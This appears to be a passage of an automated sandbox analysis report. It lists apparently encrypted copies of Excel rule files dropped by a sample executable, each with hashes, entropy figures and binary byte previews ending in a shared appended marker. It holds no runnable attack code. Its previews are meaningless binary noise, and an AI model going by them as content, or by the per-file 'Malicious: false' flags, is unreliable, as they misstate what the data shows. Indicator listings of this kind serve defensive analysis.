SHA-256:	683D0CC5B67D24FC274C2F140A543B9B84F5DF4F6BB73564696FFFC1B24A5EB9
SHA-512:	148D80CACDE8143C876C9F4DE223DE0EA2BA821DF0172FC0FADF3A37158723BE2E6ACF639601E081E1C2070D8EF028EDA373F2ABF82F326B7D3E97DD4A6F3617
Malicious:	false
Preview:	<?xml...Zc-P).UpI1....o......o...j...2\g.".e.v.:.2.Pacg..1...R...!k...ve...-f...:.4....O..+.........W-....v....=18.....0.--.k'E.RPr%@.w....g.B.;.H.-s..^T.[..W,7&.....[.......1.a..-.'O.WN........D.h.Q..2.."+..&..\|......K...E9..)x...ps...[.....Kx.....)..^....T...).7.IrA0.......T...w...;o....\|..!B...n.F.';...e...2..A....G<.......i.j.....y-Nr..j......Y...8%).....O^......z..lA. ...........`.{...P\:&M.(.......g.. S-\..?..s.....Q ....s..H.,.B@/...~{!X.....m.r6.1.n.1....l.X...L......,.+5.\|;..@.....'L.p.vm...{.;+.....MZ.......j.`s.i...;......J..7.^.....Az....c......w..~1......@..8...0P$g.AhsV..$...O.,Xk..\|.0.....qy...$._...T\..,.]Rz.;.r!........6..g.5..M..%6......bn..Gd......G.^R....{..u..b.....:3...b!D.c..VugL...%..#..v.L7....p%.V."<i...6......N@..B..e].LU2.B~+#.2.....D.F.n..q7...G...;C....)..4..hv.>....[..WM7]s....PR7DuX...)v...J..j8G..RyI..rkEED/{.W<..RR...>...d......ql..\.\..............%'!m..<.........6.j.U-..i....$.aNy_3C\|.2..{.opL

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10879v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	789
Entropy (8bit):	7.776100545530928
Encrypted:	false
SSDEEP:	24:gy5GNOXf4wQATG39/1EN+nSUgeAxxpLCObD:gr3wQQSN1ENpxphD
MD5:	4702F3106920B0C8A570629C2B64205D
SHA1:	912E3A1BA618F2083CA8CD399996411264806602
SHA-256:	EB0929BB6621FCDD4C8B51F994224A84497124DF0A484BF756765C3344308776
SHA-512:	BC70329256EFFF2CC18445F44B3310DEE8EEDBCB0DD5F9BB85AA9DCFB23BE51B8C9E338B42ED5CDEA0363469141D6A3DAFBD3B55C31C776FFA1298621571D539
Malicious:	false
Preview:	<?xmlv.=.+...}.......b..^.5t.cFZK.T..Q....'...Fj....k...(.U....k.fF)Q.?.&E..5.....[...A....}...PL.....9O".U.;H......RHs.j...I;.....B..O.7".....[..[f..^.......^.._.0.....#....k.....5o.I.J.l..8.....j...........C..+..54.......5x.,..).R\.....P@.{e.jn.fj.6B......).YH..>....N.`.o....Ld\|u...v...u..r..U@p..S.oS.....7.j.?{.3).N..z....W.{7gb...}....i..!.....3#.g!K...r'...y.f...5.....r...8......Ew,.'..V...(R`..\|.A...\|.-*G_z'%..N.?.G..'.}.S...{.".MW.sl....1..C.SyZ.e/.Z.xqb.F.......k+O.\...a.~....b..g.BU.`..X.Px.].........]..<J.l....e.L...V#.Q##i..k...zU...A......X..d...........mzQ&.\.D..........#.....u/....?.....9.....(+.n..W._Q[...c: ..1A^..k...d.V...^k......l....E....Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10880v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.937426505970846
Encrypted:	false
SSDEEP:	48:BoTOMc3GW+0X2SWPeeMRhYAesr1EIzoVKgHf0KpWRtaGylQaKD:B2UH+DSiMR4IzgrpWLb
MD5:	6CB1354AC903CEB609C140881FB7E93E
SHA1:	D5ABC9C448B5859CE477C6B115A0E9154CBE013F
SHA-256:	86D291CEF7C3003E6512AD4D0435ADF5E066163BE028468B36781EFA88E611F7
SHA-512:	323112C9373D003612E03F094804E111736C43478F75C41501C1012BC9212F9329AC7CF676425EF4562DA8422A066BB6D025568DEFF8D4BA9F5D6B69A79A408A
Malicious:	false
Preview:	<?xml[m../...>0%..^.`{<.. O..y..a{.../Z.{.m...+<5o..}../.U5..M........9so..,J.......E8Gd.9.".J.z....1<?5W.V....IT.mJ.e^...U..)9....7.k.QL../>.}^...a..{....rh.E.\.... .#...L...{..~bi.<.&@.2)46c..Z;....`<\|.........-.T..q.p...:.Rk@(...rc..b...Px...B..f..4.IS..{\|{5&i..i+.<df<....i...t.....R.....<8.Y..k....b.'..B.r.T:...H\|.U...Ewo....w.Y....[.0.-..o.Ng`Cc,I..W. .(.5\..AdI..9...h..C%lL.d..5s..[.~HV..t..<.B.].O.m.....d.(.LA...m................e.P..m......D<.4....a.c..m..#....,.......{...x.E_..S0/...{..,Tw}rj.."...z.Ze+t....d...a..x#%,...A.C..9?..vV....xd.%...C.....'.X..o...(-.......Apr!H....%.[....G....J...... ...Fo3'.Z....%RO/.J........U..] ....^...:.sy.j....R....-...J.......{aX..4HhN.1.MO..!...{.U..."....3.Wg..b.\"...7>z.'..j/....F$K.p"......1J.._.......J2..M.]..C....T.2.........E./...M..b...9c..%..K{G...'.?......q....Jg.8O..........'h.E.. .HE...m..........t..7W\..S..GSk..........>.B.."*...6...)vYY.T`:...t~V......~.nk5`.....#....U.!.0.[.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10881v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	823
Entropy (8bit):	7.776471368696691
Encrypted:	false
SSDEEP:	12:FBdH+OnktFC1Dfm46xJpasTZsTymjczmMkl3bfI3uHbgkgL2QEXqsieynjuOciik:tbiwYfM+smmRMOb6/BLREoeHObD
MD5:	A746B62E0E3E7A2837B554CD64519B33
SHA1:	DF30034AF1792EC698BBD6A5EF95CC81972C059B
SHA-256:	88A55E684857982CD174B906F8EF0F128EB5D30EE28D9D20726C7B89E866039F
SHA-512:	6A902F378FBA0DDE5F274309CA49A29644EE6B8C8FDB0AB78A7FACDAD968A4A112447396CA1697DA719631D121FD7C4DD21B575D4F82D5E26C231CCA642BC62F
Malicious:	false
Preview:	<?xml.n..y.i.~..p...A.$.r..b.!R...z.$....C.."...'......1.ULK....Oz.RD.....+....g....x.(..g...p...z5...+.b..!...d...(..En.uD...6..!2..d.......lI....r.!8;6.....#v.....$h.1...y..ZdO....\|..6.......L..z.<S...^.3.........9..1..q.!...:T.E._.6...Q..m...wT.&..0...5I.3.\|......nN5.F..2..m\|....\|..$-.Y...m.qU.qT.]...7Q..X.....T%.A.S;.%.9....D>.N.s)46.F..._..v...BD.....E.....jQ..Ol.D.jM'A.H-o.x.*W.+.y.~.`..j...5.7G..E...k#..j.4).ZC.'.Zo....io.........~........O-..J..i.'~....VV.KAk....["y..%Z....8...Z.ZJB..m............."/........Y...s_..g..%..v.....hI\...1..%..7..b..W..@...n.......V...)^(:.m.qkH9.FS@......9....fR&lP...W.z...v..+Wi.=.\|......0s....b..[3 .%....N\|..C...2....w.4.]\.P............%.].N.,....S.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10882v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.935297585909825
Encrypted:	false
SSDEEP:	48:c9sLVf2a0h+KA2nai12F2y9Qwa0PRf0PCW4VFp+dZ83QfNB90aZYBD:ceJf2a0h+Kgq2FliwHW14VFkAAVY
MD5:	4978BF0391E9488F8D14E1EDCFD8BDB8
SHA1:	ACF632F67755A5C711DE7F3F9DB39E6C412420ED
SHA-256:	543E2439B266A977C7FB205DA70338C54C18CE528D53E07C48D2494E40AEDC68
SHA-512:	0A1170F7045E817DF37D84F1F1ED589D3FF03129FEC1D07EF49BFF8E5246891CC84BEFBB3D76197BF14826BEE2272B09513FC2E02A6F0B16B4C87FBD6516D634
Malicious:	false
Preview:	<?xml......1.`.>i.o.@{..s.^.M.....l/..:=..dAe6..?%...8j...x^..6C{..P......_4.){h...".}.H...H...P+.<./g .Hj0.......].G.Ie..\...../.....P.e..-.n........<h.V....niL.r.".de.F.;.L.G9..!.d.m.......6.:.o....A%.....-k?.d#.r..#.Ym[c..]AY...>..0?8yR..!..X:..}...-U.....M+.n..n.eXW..p..5K....>.,68....-.&..~...=0..... F.]....T..C.L.\|8.4..........O.(.!...u...1.e...L.)......3.EN...c..\|.[D.@y.G.S.o.....yFQ.cO2Mm./....Wx.4j........G.....Fr.f[....B`!.;....J<..(.<.Qx.y.X[f...4$#b.i.xPl.D.!.....p..5^.`.)...R.r.E..K.. {.v.T...'.("..b.o..>Q...=..X..<!0.#_..V#.p5....k...#.n.....\..p.r..>.]..@...Q.....6.R.E.$1....o.0..K..fekW=<o..A..9.....n.?).._..5k.s.z.A......g......kvN!.V..+...\?.i...^.}....b......-Y..9.........2.._M..%w.u....2...&..m:....e.'8..PUJ....+d...7.geC..g/Y.sf.<.....x~..\...........lFp.m..,,...(.IE....8..]*L.Y...[...4....=..q.M..#!xt.u..h..n.l...d34..QU..L%...b.....".t..a..M...#e.8......>...J.P....<..&..1...-...Kt.~.~M......Q.....VFQ.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10902v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1021
Entropy (8bit):	7.78899616980907
Encrypted:	false
SSDEEP:	24:WrvUIyfu3ykeQ1sixcuCxDBuvHKM2u9f/ObD:0CmCFmsIyKvHs28D
MD5:	1DBF375D5EA04F5999A557C05F83EEB1
SHA1:	EA8011B609AE10340EB2058213B4A0E45193F65D
SHA-256:	FE5CF27B1706BB748AC5A9EAB1B80630B2EB9BD3623CC961DE80B683A4852D23
SHA-512:	144A09BC01E1286D444319A1F571BC879AF515EA939ED1B612BD53068C89FFFA16B02BC5DA22E12B158DB4F0381CE155BE79951C24E8F09DE8EDE0E056AC2AE0
Malicious:	false
Preview:	<?xml.3.2t.A..\..+t......`..k.\|.W..x.Um......f]Hp#.w.t..Y.;6.........[9.&...W..G....Q....PB.n.]V.......z;..h......G4>4..{{..>.d.R.F..I.....v(.}.<.........b.....eM<Fh...q$.dV.>..\:.......6.F....&Q+.\|:.~....\|t'8e.W.....$....$.<...;f...s.;...3x.D/.......7w...xrN. v.....".....c......\|).\....TQ...C..z.oS..G..wW.D?..@..r..wpq........X.......j..yQL.....0.$h.^y.#WUI..<u......ry....G..".../D.?[f._....SBX$0..#.B......{5mG.c...K..\|..+&...OY....3Ht....P.6s.\|...#h.."b....W..a..G....3.Qz...,L.^...K...b".t...ZVs....s..E.%.nv`...... Z:...x..gQ0=+\|......5.5.)ny...j.........4.t...G...^..,.C.k....XP.\|>b.....3$..... .8.=.w....t..T2DSh......>.Y...V_.@..k......k&...2......?.;.-./Dx..k7Q..A.......7`..F.........)#]b.*...[Ln....7.h...@@QM/...l...k9..7..[....g...M.pD.....r..F...AY..1..fx.1...;Mp.j..%.DT.%g.....O...?+i_..f.<.n.......h.B....7......Y..E....Cj..I..E...".rwlE.D?......[m....{.w.z.[...#.p....x....g.tZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10906v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1398
Entropy (8bit):	7.8654444180682805
Encrypted:	false
SSDEEP:	24:nAXaksA+cdEOHRXNFzIMHhqgF9oi/KVD03acjp3cjoyPNTP8DJHw1s6G+r0AObD:nU/s2EOHR9RIMQrkaIhcjlP5EDJHOhGb
MD5:	14CDE541AF32F1B74B88E415C2CA7E96
SHA1:	AB874A56F5BE7A91A65D88DC72BCF388FA4E826D
SHA-256:	B51E87F4445EE57A6E2C38C186A51D4AAA431516E04363C01A264BECCC97A6C9
SHA-512:	43D992D5A7727E4F5C671C6925B3AA834BA96613988FE1A7331D810FDB330A7C8868357C371460956CA64BAA00252CC85EC102B56AE826C26F541B7D63146CA8
Malicious:	false
Preview:	<?xml..!.b....q..-_YbL..^.....Ay.{..d....#J.6.........MVQn.w..{..R..9...+..Q......~..xS.U`M.=K..6.`.s(-.kD..#g.pK.-..(.w..7iq.`.D..".?...3].M.x...]fZ..w+.pA..9"...4.g....9w.8;.)..W........:N..;......j=..3a.c.v^OG.y.......]?SM~)ERI...m4c......@<.".6..h.......D.. .O.4%......$....N..5[\0.w.P...r..._...}nw./.&......V _.Mv1+.\|..2....W..+h...L.W..0b<[j(:h..."-)}X..M.W.A5..;..y....#<.Q...RQK....6.i..p....5JH<..v..q.v...Y/.s....4.....Fy.>.....S...>.,.....Y4$N3F....N..Fv....Q7.r)R.*.u...#..%...79.#?..r"E.d.ux.v ..y.>p...B.].K.._h$$....%......D.W.!..a.t...}.U...kI.~..f.`...ZdO.......5.m.......xV....}..L..<...\..8.&v.v..@@d.0<..p...W....D.>...X.N.&.n,.'AO@.5....Qg.Ic.B.%../h.j....p..n.t..H.xR;.t"B::..n()\|0EI.6V..G.A&...>A2..k...8.@fR..g.......s.u.../.lG..h.......p>9'....D......OHH....q....a......v3.-.<Q'....Fl.@Z%.Ng.F......R....5.D...Z.`z.S..............x\..~.j..l..tX..,U...R...c...K.%.k9.....2.a.@..}D.v..\|y..j....8........oE.U. Hy..a..m.;..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10907v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	7.754723099366087
Encrypted:	false
SSDEEP:	24:SUpP/lUJOlgNPjlU82/PqSoaJqXW6D7kNjObD:SUFtUJbBU84SSALPSYD
MD5:	3CBB1F11F2BEC63F186BCA42F4D00FF2
SHA1:	80BBC2CD54C57083311F53D990E25C40592724BB
SHA-256:	01F3F35BFCA818F539490DDD513498A1A7328955BEA82ABCE4EB1F65C9D36745
SHA-512:	064C8E53FFDCA33E01C4035F038BA0690EBC8B79CC9D72AE7298674CC938AE712CC10E68C87F294326B81E56FAC0E3122C67ED342B89E523FA2DDE92FCEF3EA7
Malicious:	false
Preview:	<?xml.TV\|J..J....G.YZ..>v..g<.:\JLNL..eG.....M....d...u....{!..s..+2x..H...v..&.E..h...X.O.....3..G.q..`...Y..1...v....g.0(....C!.5.D....;....+.0Mo.D!d.d.[;.............:...6M.5&XeZ.p.%... ..h.z;..t..u...I...1...tS3.....E.t..xI. o.R..:.u\|<z....E...[.......N.".~.,......t.P.....F...6.9.xa.1?X..Q.4....2~.......?[!...\......SR...\|.p2......h.y.-[..q.....>..g..).......`%j..C.Q.H.@b._.l..s...E\|....B.j`...#..[..'..'........1^..d{..ta.B.b..'t.\|Y......B...-.f.p.....}.._.=..zB.P.3.....M7..Eg.V.:.fK..&5........7..g.g......c`..-.. s.....e...s\....G..(.p.}....k..>\..9....\.6CP.... "..........z..V.Tc....!v.x.,sQ"p.P.....O.k.K'n..9.8<.\.......d@R...91..I..F..(.f.*k.....3..=..,.A.,.....9.V...=}Ie...05.+...........'...9..}_S.....-.OI.T.2.!.u.x..&`e.\|..Z....M^.8R..m#.P.G@H..<}c..D,t.......W].[..s.-~AS>.....Bq...z...?..,Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10924v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	891
Entropy (8bit):	7.761972118552237
Encrypted:	false
SSDEEP:	24:0AqnHQkrK8AxVVRTvj9tsa/sdvbHSEiB/5ymObD:tkrwLjThySEikD
MD5:	5DBC0C15D84651D1049DD51FE6A61954
SHA1:	9810529250BBB561E6603CA7089A80ACF23A072E
SHA-256:	9A6D1CCEB6EF2AD2E3D6817C09E0E58251A0F9E0E359CA3E5A695F4298C076C5
SHA-512:	024AE99FFFA2EA919B8D0A05B0F031B22A70082B572439650F0C0BB4576E3B47CD7A1D55AA89062C832C2194AC3670B01FE51CEB917E22F847A59F817F566272
Malicious:	false
Preview:	<?xml1.Dr.....C....e.../..Y........;.......O..z...P....?....N.;...!.....Z.zt.Z...g.f....}...3Ph......(..=...../...o.S.v...;.8...`.K.j....y..."..W.>!P...\n...\. .....N<...{..:..K....8....A..7..5.I...y.i..Q.j$...3.... .z.....8.......}........q......ag.<.-.2. ..N<.0F...."E.7J&.@)....9.+..nx....$.b.....p...U}GJ9N..G.....(0.e0..3...W..>..{1w.x(...,.....v..^..C.&T..8`..Z:.yC1.9...&..w.....d.2.C..e.....i..Z......75./...'6.,.....9r..\|O.x.Lx...U...m...v.x.*y...........#.SC0.1.J.%.@p#._A..G....Nv.....79...)K...//#}t..v.L.o..U...S.f...Y.W.nN../GK>......=N.a....U9.~..Q/..N.....k...f..Q.w.%.D......d.s6.>...,.......@._.a....V.`a.3>Fc'bv%..$..<W...{.u...5...M....8...z..]X....f..`.O.._..=.-......j.........R.f.Z..MEp..K......[)7..5.a.././K.\...t.`{\|k&.4.(..../...i{}.i.2).3/...]Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10925v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1049
Entropy (8bit):	7.810009327523722
Encrypted:	false
SSDEEP:	24:EHPXtvJIpRsp0APaowj04Xd6+9WHH+ulPVwx7G1ObD:EvXtvJITsOwD4Lt6lH/lPVwD
MD5:	62C56F565C5DD2B242992D07D86C239E
SHA1:	7EF2B6AEB161C6B254C0D0F22EDBFE41A4759A0D
SHA-256:	9BC90116216BDD367D9DCC73BECBCB9A7024A334C90067078E57CDBF6F961525
SHA-512:	919C4717D086CAB8FA9278BEEC2B353BE47F124B9EEF237FCECB04EAF990D741D8935B50F398F182C8D767BC5245E77F80EBBE18C7BA46E9F3EFD75765C83908
Malicious:	false
Preview:	<?xml......:.....a.w^.@.wP..0E..(..\..<tpg.o..Nk.B`....#C...Z7...g.%.`\|.....mP..,...Q?.6.Ik..>W..x\UF.7pQ.....;...=......rI...h..k..z...v.c.....6`..{!.8....J..[......T4'.x8n..G...4i-...$..k.A..d.o.IM...Y..o..."."M.m{\|-.V.6..[...fK>,.3.K....O..+S.O.I. ..#..)...T..QN..K.f...>.{./-.'t.9.P!..o....j.i..W+..1.....^$.'i^..{..\|..6..E..Y+\I..Q.^..r}./(jx.E.n..HJL..v"?.n..:.Seh.H3k..=.z...P,.6..Fy..HS,.cIe.F...]........!.....^..s.FFw...2..-&1........[8.2.lw.D.Q...j..&.;........>..i..=..X..(.}g...r....g..6...B..I\.7f0.....n.?.M..d..?{4Ll..<...:.....`#.!...z...oA.]..b........O.{..W..{..ymp.w.jh........].%DT.;..`g..b..........sw..n.]....\"N.......q..`..0.<.z.Q.....8_..nE}V ...;.\|...,..i...Q:T;.......2.`.......]v\|.....q....?\|..F.4....!.z..5.@.../d{..).5f...{.4R.........74a..%?.Pra.exy.w....A&.....0..k;;..}..X...el..iZ...CdE.!.z.....c.....{.b?........V..l...xP.0 ...N.....K.O..d....;.........?X.......pq...>.(^p.M..V..A.gAa...^..Q....Z6iwSvCoAt8T8K2ROxecuXHPNHv7e

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10940v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	885
Entropy (8bit):	7.7748431538357154
Encrypted:	false
SSDEEP:	12:pthmUluf/sA59X+4G1+2oMT92kbCyz3hY14twNBH2ZSUQ1mRXlyrEDUWigtyxmuI:poZx+4zMT9lz3+GtKHWSj1m9iEyVObD
MD5:	282EFE658CCBEE385949E1D9BC7AE37A
SHA1:	B47605B5A60B2319A4D9B72019FE797194B1EBBE
SHA-256:	5960E6D2C98C6C1B2CF5063DFC8D5C3AC1A7E5A8CB0CF3D4BC8274D262D1BCBA
SHA-512:	37AE0266EF2854708F93A61055D02E5D6A6B269685BB2BD40F5CA17FA4173049E2708C8FE435184B8A64DAEFE73BF70DBABCE07BADEFCC2FE0B2CD343C102DCB
Malicious:	false
Preview:	<?xml...1...../0..K.......c...14..]..kzB.........O....:.......;9...}.@....3.....*....j..\|......Z8._......iTM.../....g.0p.......c.Y.....31.~.._.U....#. .10.\|.>..pB.^.....w!.i0...2.4>.OZ...7g...!......9.X...E..6.J.5.I;.5.2....<7Y../'.l..M..."~...5+S.b...n..(=u..TI.b!T:9se"+..}y..P.@..7:#..0?.zt<.,......J..:r..:.L.....+...j6.).uX.2L.8....>HA...U..u..B......X)R+za..Z...$...'......p.}[/C.Q.....'..]YY.j.....a.....F@....&?...Y.%...h.......J+!.!?...[..../.C.].....<..G{...iM....<..T....B..+.E......22.....\|.9.I..e..k.?5.J}q...Q8....bl.p4...9....N....j..7.F.z....G.M..B....4u.M\.I........i[a-. .C2.0.R..f.w..m}.v..../Hl..G.......T.....x.R..Fr.S....pa.M[...n.0..9....B..5}...4Ln...ge.....#. .t.o.x...Yf..9..4?.0.%'.44....oKQs%.?.I.U.....T..e.w.w...9\|s...x .7K..\|.p..].9`rV~Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10952v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	8529
Entropy (8bit):	7.977511312954917
Encrypted:	false
SSDEEP:	192:G6oladXpGWTlFjv1iCstWQ9CVnupEN3Ar5/Ra/pnUlnn1DLC6X0U0L:VoG5G8lFr2EDwriRUF9CO0U0L
MD5:	8C7B6754DCD1F933E00878F6A5F55082
SHA1:	02138B0697B5E6028946CB4D4CF38D78C62B3A05
SHA-256:	3FB90AB7B31730D22A7FEE74BDFCF3D7008CBAE4FC6DD97B98340D50E3EEE30E
SHA-512:	F088B142C316C468BF88C3313A0C4E5A32F2EB58BF8F89D115D988C5B6E2B6E180BEBE96AA820B2E79F6F759DA38A07CACCEB4495595E0AFC2CE67BF5D51A029
Malicious:	false
Preview:	<?xml.,Ns.,..1#.8.j....6......0...F.6....\.3.F.A8P..4L.....8<.....LVL..3...11.......\|t......g)..........?W.)... q&.Q...H.......S....OLVo1....Z.+.8e.RSK<..e..m.h...../]t....8../.\|...,&....)-.OC....2.6.;..wD.(7.1...'PK.E.!......W.`..7........O..}I.S.x....]r.i....K`8..ups.b..V....},6...f...../.E.Y.#=...."n...%G..E)_\.... '...CLx.3x...G.X.~4.`...V.z...QM..+..,......\..`V.....d.5.2..l....{.......O.Cf.=...2.r.`.......#..... '1}....lpH....... ..s...0H28....7.V\5...n..5.lD.{..X....Y...,..`.8...KO...q6...\n.zZ?..^.:.H.!.U...y%g.....FA..+k.i.....1FV.(...7;.g;.Y.(&o.......?..... .{.\..H.z!1..;].&......1....$M.z.s.).....@.@..._d..] -.b.v.i....,f...0....#M...,c...>v...%..>JiM.k...]...[.^.sr<].....a.nx.~\|.eH\.$:.m..n..9D...Trt.dT....B._.D..,27....6.F...y..3...a\!.U(.=..>6..3C...X.b.\|..u0bp0.....]..a."T..W.i.`?...\...l....,..pA.N.%In~.m...p1...0Bb..T...Y*..}t..B(.i..4S.s......0.7+.Pt..X]...6Y........w......Q..\|..+<.9..@..\w]Wo..'.f`...j.%D..y.S..O..!....#..D..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10955v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1242
Entropy (8bit):	7.844737417070798
Encrypted:	false
SSDEEP:	24:t4JiQZ+LXgcGriQhSHZJodEPeYG8+KI4PwcI2mkT8cAYBm692aObD:t4JZ+LQcGrxhMZZPeYG7K/ocea29D
MD5:	E0A93C3DB473D80551A08D7AFD5DCD44
SHA1:	0F10A73D7FF4747F567195BE3A6029899AC14B41
SHA-256:	12CB4FE96AC8934D18CE70B0ED993A1CFC46E29E7EF98D6AA9EBB75C053879A4
SHA-512:	F9FC6E8076BB8AE03CAB97AFE5CE4CA77810E64AD751B3F442AB9B01A1EF9D7462B0F74F0B1F286D2E06A0D9717361E8F574772966BFF94CB71E8F28F6C8C4DC
Malicious:	false
Preview:	<?xml..\.J..V...,1...4'~>.#..N.u..r..8.c....:.."w'.."x_.a.U.Z...w........Y f.s....FW=n.........4..G..\|X.........m...%..C..=>r[D.........Ol2.ij.........p(.@..f......ev..k.2.:.,.7.... .GF...u.#...o..-....gI...c...J...s...%X..2g.....EN...OD..8...H!.N...F..wE.R.d.............!r.a}..a 1.b..XZ.?..c.T]V.d..y..o'iX..m0P..`.9.'.u.(.+r..@.)Y.G3...\|..).....g....;Q2.a.'..O....~..... .}.. ..8..J......k%..>pz.\|3k<....G...o...IM......d<$C...9...Z...%J....HXCC..Mo..R?...X..u.i...-....,fqY..<...`..s&Y...\|.d.sY.B.])..q.R.%9.5._ ...t'....[.u.......34n.<F2M.e...(K.6....Y..h..8..V\|.v..4.i..l.@..m.\.pO....vY3.....'..t../1l. ...._.....I..x...6.(._>..dv.....Mn.....:...K.5.o...;C..a.....E....g......F...i.n....vP.m..l..D1...I..,.H....v!....LZ._.K.{........YZ.n~...Z+3....s.....Z...A.$}5....!.xL..2.....PJ.t.-gRQ.... b.........D.D..c...b.;....9....pf..]..i]......%..b....&&.kd.X..nY.s........y1...Ta.*...(....1}6..F.b.`.. h.=@I...o.0.s~,.l,.+.R..z(.E".

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11150v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	7.818111324698003
Encrypted:	false
SSDEEP:	24:LTGbjvXOTElSNyAtg56qfZ/FdI6Mb731FVPXjyofAmObD:3sOTElSU3/DAFTyCAJD
MD5:	01766A8FDFC8745CE5673F85930AD8AB
SHA1:	53B509AD19C38CA95F996EB53C7315672B5E61A1
SHA-256:	678E4C481AEBD2B7AF48074CA71CB1F63277A7C055D2CAF238E5B6B4D24C398F
SHA-512:	944D13D3797A8DF324A3293BB9CF90241A4DEA4090D4DECAB46461F359799A17C01F6AF594D76215C523AB912B00079BCCAFFE24A647B220EC5B79005B97CEC3
Malicious:	false
Preview:	<?xml:.W..k.yT..a...>.Di.....$..w..L.f.......>.<...3.Oq...8...8...$t.C.X......z:.A..[..7....% ..=..O]~....H..:s.3."....`_T......i..D.A.!.W...Nx..7...n..8.],.Z..6.S..Sr..=..cj.o..M\|...O......i.o..M..."C..(..ljE..?u.......G.-S.Le<.#s....U.(#.B..8K;z./DT..=..D...%.8>....^.:e+"...?.~>'.....BN...S....8L..6...\|............(sg...cgtZ=..n....:v.l.".I.H.)N..^.O.!...sY....xT9......"Q.4.\wI...B.^'.n...9.D{...,..H...-.k..v........i.4%....3y.-.U_nG-....J..n.H....U..LM........!3..$.92t.........K........`..~K5.. N...gR.$..}J&{v..9d2.k..Z.....X5.p...)..V.Jp=sb....}0..z(........B..kD.....Bx.....).....<............7.-..c./.".n..eq.H..D...e....>.vr%n!?...B.......bt,2...u?UV@Od.A#.j.?l....b(WY/2...'<.9.Km._.y..F..e....\|..t.......[.E$...o{t..sS...9.+.]U...3....&...g...RM.w..?.!4......i.....Bhb.l...9.\|.C.w.i[..#..:.6.s.J....WnN...(.J]t.D.D].X.<..d.dl...ESD6=.;...s}......3<.....q$7....Ub+u..N#$..7.P.O*$h?{.C...F..??.Q....7...l..2.D..\OZu.g...:.G..x9.....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11154v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1073
Entropy (8bit):	7.79402220621467
Encrypted:	false
SSDEEP:	24:aSsPk1GWrnKQZ1QYDiXun/AkDo43kOF9zkswObD:aSs8rnlP++nR2OksjD
MD5:	B78090299E4D802107A6E7C201EE8F35
SHA1:	98A611240815C0DB3FFAEC167924E704A667BADB
SHA-256:	A13A8920354A530998134F3D7DE72415E5657676144A96D7619C8175AE7B16CE
SHA-512:	71005EE5FBBB6A65967B18466227ABE8F445021FED56DE76132786E9066E19F5B9616CEC55839B71BCF90A39FFA16A98FE8543D36640B683D2EA8A34533CA24B
Malicious:	false
